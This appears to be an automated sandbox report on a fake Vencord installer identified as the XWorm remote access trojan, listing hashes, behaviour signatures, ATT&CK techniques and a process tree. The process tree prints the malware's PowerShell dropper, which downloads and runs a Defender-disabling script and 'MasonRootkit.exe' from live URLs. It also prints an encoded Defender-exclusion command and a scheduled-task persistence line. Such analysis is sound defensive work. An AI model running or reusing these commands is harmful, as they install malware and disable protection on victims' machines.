Overview

overview

10

Static

static

3

VencordIns...2).exe

windows10-2004-x64

10

Analysis

  • max time kernel
    450s
  • max time network
    452s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/03/2025, 17:10

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    VencordInstaller (2).exe

  • Size

    9.9MB

  • MD5

    c374d1675742dec803bc013c5069711b

  • SHA1

    ce53bdc502f1b9dfe6721e9fe3853029d31b8650

  • SHA256

    3293c4ae19d9c0fe95f15a8f65c08cc8d47d47d0a765ac024b5d5db0d2de9ed2

  • SHA512

    77d69bb193808b81038e9c4ad14920dc1e87ffb21a102b6a3bbe0876581275d77bfe3c9466aa9b8c903bdeca3b90911eb5edfed912597ec76cb4e03a17698044

  • SSDEEP

    196608:J95OFJg0DC/xTYt34Z+UWNhwiH0mQoAqOPmhMxA4jZzbLNNNj/ztmU:X5OFJxOBdIUWNKiH0NzqO9xAKbNj/ztF

Score
10/10
xwormdefense_evasiondiscoveryexecutionpersistencerattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • Install_directory

    %port%

  • install_file

    svchost.exe

  • pastebin_url

    https://pastebin.com/raw/J42c6s7r

Signatures

  • Detect Xworm Payload 10 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 12 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 64 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in System32 directory 12 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 16 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:316
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{18dabff0-f528-471a-b599-78f05056ec7f}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4800
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:680
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:952
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:392
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:516
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                1⤵
                  PID:1092
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                  1⤵
                    PID:1100
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                      PID:1136
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                      1⤵
                      • Drops file in System32 directory
                      PID:1172
                      • C:\Windows\system32\taskhostw.exe
                        taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                        2⤵
                          PID:2032
                        • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                          "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:5980
                        • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                          "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:5420
                        • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                          "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:3108
                        • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                          "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:2464
                        • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                          "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:6000
                        • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                          "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:5408
                        • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                          "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:4692
                        • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                          "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:1508
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                        1⤵
                          PID:1284
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1308
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1328
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                              1⤵
                                PID:1360
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                1⤵
                                  PID:1484
                                  • C:\Windows\system32\sihost.exe
                                    sihost.exe
                                    2⤵
                                      PID:2884
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1568
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                      1⤵
                                        PID:1576
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1620
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                          1⤵
                                            PID:1716
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1744
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                              1⤵
                                                PID:1816
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1884
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1956
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1964
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1228
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                        1⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1384
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                        1⤵
                                                          PID:1676
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2076
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2180
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2340
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2468
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                  1⤵
                                                                    PID:2480
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    PID:2588
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2620
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2636
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2680
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2692
                                                                        • C:\Windows\system32\wbem\unsecapp.exe
                                                                          C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                          1⤵
                                                                            PID:2972
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                            1⤵
                                                                              PID:2980
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                              1⤵
                                                                                PID:1492
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                1⤵
                                                                                  PID:3336
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                  • Suspicious use of UnmapMainImage
                                                                                  PID:3424
                                                                                  • C:\Users\Admin\AppData\Local\Temp\VencordInstaller (2).exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\VencordInstaller (2).exe"
                                                                                    2⤵
                                                                                    • Checks computer location settings
                                                                                    • Drops file in Windows directory
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4592
                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAdABrACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAZAB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAawBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAegBrACMAPgA="
                                                                                      3⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:2016
                                                                                    • C:\Windows\Credential Guard & VBS Key Isolation.exe
                                                                                      "C:\Windows\Credential Guard & VBS Key Isolation.exe"
                                                                                      3⤵
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Adds Run key to start application
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:2492
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
                                                                                        4⤵
                                                                                        • Blocklisted process makes network request
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Downloads MZ/PE file
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:2616
                                                                                        • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
                                                                                          5⤵
                                                                                          • Checks computer location settings
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:2260
                                                                                          • C:\ProgramData\MasonRootkit.exe
                                                                                            "C:\ProgramData\MasonRootkit.exe"
                                                                                            6⤵
                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious use of SetThreadContext
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:4524
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp13D1.tmp.bat""
                                                                                            6⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:404
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              7⤵
                                                                                                PID:1612
                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                timeout 3
                                                                                                7⤵
                                                                                                • Delays execution with timeout.exe
                                                                                                PID:2864
                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                          "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Credential Guard & VBS Key Isolation" /tr "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                                                                                          4⤵
                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                          PID:4292
                                                                                      • C:\Users\Admin\AppData\Local\VencordInstaller (1).exe
                                                                                        "C:\Users\Admin\AppData\Local\VencordInstaller (1).exe"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        PID:732
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3556
                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                      1⤵
                                                                                        PID:3740
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of UnmapMainImage
                                                                                        PID:3948
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                        • Suspicious use of UnmapMainImage
                                                                                        PID:3944
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:4756
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                          1⤵
                                                                                            PID:4924
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                            1⤵
                                                                                              PID:1044
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                              1⤵
                                                                                                PID:3344
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                                1⤵
                                                                                                  PID:4636
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                  1⤵
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:1616
                                                                                                • C:\Windows\system32\SppExtComObj.exe
                                                                                                  C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:2944
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                    1⤵
                                                                                                      PID:3616
                                                                                                    • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                      "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                      1⤵
                                                                                                      • Drops file in System32 directory
                                                                                                      • Modifies data under HKEY_USERS
                                                                                                      PID:828
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:3976
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                        1⤵
                                                                                                          PID:872
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:408
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                            • Modifies registry class
                                                                                                            PID:2840
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                            1⤵
                                                                                                              PID:2300
                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                              1⤵
                                                                                                              • Checks BIOS information in registry
                                                                                                              • Checks SCSI registry key(s)
                                                                                                              • Enumerates system info in registry
                                                                                                              PID:3204
                                                                                                            • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              1⤵
                                                                                                                PID:1600
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                1⤵
                                                                                                                  PID:3464
                                                                                                                • C:\Windows\System32\mousocoreworker.exe
                                                                                                                  C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                  1⤵
                                                                                                                  • Checks processor information in registry
                                                                                                                  • Enumerates system info in registry
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:5000
                                                                                                                • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                  1⤵
                                                                                                                    PID:5204
                                                                                                                  • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                    "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                    1⤵
                                                                                                                      PID:5876
                                                                                                                    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                      1⤵
                                                                                                                      • Drops file in Windows directory
                                                                                                                      PID:5544
                                                                                                                    • C:\Windows\System32\mousocoreworker.exe
                                                                                                                      C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                      1⤵
                                                                                                                      • Checks processor information in registry
                                                                                                                      • Enumerates system info in registry
                                                                                                                      PID:380

                                                                                                                    Network

                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                    Reconnaissance

                                                                                                                    Resource Development

                                                                                                                    Initial Access

                                                                                                                    Execution

                                                                                                                    Command and Scripting Interpreter

                                                                                                                    1
                                                                                                                    T1059

                                                                                                                    PowerShell

                                                                                                                    1
                                                                                                                    T1059.001

                                                                                                                    Scheduled Task/Job

                                                                                                                    1
                                                                                                                    T1053

                                                                                                                    Scheduled Task

                                                                                                                    1
                                                                                                                    T1053.005

                                                                                                                    Persistence

                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                    1
                                                                                                                    T1547

                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                    1
                                                                                                                    T1547.001

                                                                                                                    Scheduled Task/Job

                                                                                                                    1
                                                                                                                    T1053

                                                                                                                    Scheduled Task

                                                                                                                    1
                                                                                                                    T1053.005

                                                                                                                    Privilege Escalation

                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                    1
                                                                                                                    T1547

                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                    1
                                                                                                                    T1547.001

                                                                                                                    Scheduled Task/Job

                                                                                                                    1
                                                                                                                    T1053

                                                                                                                    Scheduled Task

                                                                                                                    1
                                                                                                                    T1053.005

                                                                                                                    Defense Evasion

                                                                                                                    Modify Registry

                                                                                                                    1
                                                                                                                    T1112

                                                                                                                    Obfuscated Files or Information

                                                                                                                    1
                                                                                                                    T1027

                                                                                                                    Command Obfuscation

                                                                                                                    1
                                                                                                                    T1027.010

                                                                                                                    Credential Access

                                                                                                                    Discovery

                                                                                                                    Peripheral Device Discovery

                                                                                                                    1
                                                                                                                    T1120

                                                                                                                    Query Registry

                                                                                                                    6
                                                                                                                    T1012

                                                                                                                    System Information Discovery

                                                                                                                    6
                                                                                                                    T1082

                                                                                                                    System Location Discovery

                                                                                                                    1
                                                                                                                    T1614

                                                                                                                    System Language Discovery

                                                                                                                    1
                                                                                                                    T1614.001

                                                                                                                    Lateral Movement

                                                                                                                    Collection

                                                                                                                    Command and Control

                                                                                                                    Web Service

                                                                                                                    1
                                                                                                                    T1102

                                                                                                                    Exfiltration

                                                                                                                    Impact

                                                                                                                    Replay Monitor

                                                                                                                    Loading Replay Monitor...

                                                                                                                    Downloads

                                                                                                                    • C:\ProgramData\MasonRootkit.exe
                                                                                                                      Filesize

                                                                                                                      596KB

                                                                                                                      MD5

                                                                                                                      bb2fd6c1b233fd2f08a6a43ef860bcb6

                                                                                                                      SHA1

                                                                                                                      1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

                                                                                                                      SHA256

                                                                                                                      8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

                                                                                                                      SHA512

                                                                                                                      2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

                                                                                                                      Download Submit

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Credential Guard & VBS Key Isolation.exe.log
                                                                                                                      Filesize

                                                                                                                      654B

                                                                                                                      MD5

                                                                                                                      2ff39f6c7249774be85fd60a8f9a245e

                                                                                                                      SHA1

                                                                                                                      684ff36b31aedc1e587c8496c02722c6698c1c4e

                                                                                                                      SHA256

                                                                                                                      e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                                                                                                                      SHA512

                                                                                                                      1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                                                                                                                      Download Submit

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonRootkit.exe.log
                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      3982d6d16fd43ae609fd495bb33433a2

                                                                                                                      SHA1

                                                                                                                      6c33cd681fdfd9a844a3128602455a768e348765

                                                                                                                      SHA256

                                                                                                                      9a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9

                                                                                                                      SHA512

                                                                                                                      4b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa

                                                                                                                      Download Submit

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                      Filesize

                                                                                                                      18KB

                                                                                                                      MD5

                                                                                                                      29697ff7e3d7422888019267f7689f9a

                                                                                                                      SHA1

                                                                                                                      f9a48c18c1a7116e10e0f443c07bc0bba1f99a81

                                                                                                                      SHA256

                                                                                                                      c4eb8c860a7b03eed3a6bda6bb3a7718256c2672c2959ce2f4b88cf007467a98

                                                                                                                      SHA512

                                                                                                                      ae21df908e6a863e2b2cb67830a019819c4f80d7c0ecc2c937c76f488866cdee56bc87541271ff057fb57e19586e052a670c5b11e0f2ce4ed401875377287f67

                                                                                                                      Download Submit

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                                                      Filesize

                                                                                                                      612KB

                                                                                                                      MD5

                                                                                                                      5e1eb1a67d40ccae40dee2a037ca6c64

                                                                                                                      SHA1

                                                                                                                      786b54d3d451ea40faeeb20fd30a38744862eeb5

                                                                                                                      SHA256

                                                                                                                      80e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f

                                                                                                                      SHA512

                                                                                                                      0484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205

                                                                                                                      Download Submit

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fulhwf3i.ekg.ps1
                                                                                                                      Filesize

                                                                                                                      60B

                                                                                                                      MD5

                                                                                                                      d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                      SHA1

                                                                                                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                      SHA256

                                                                                                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

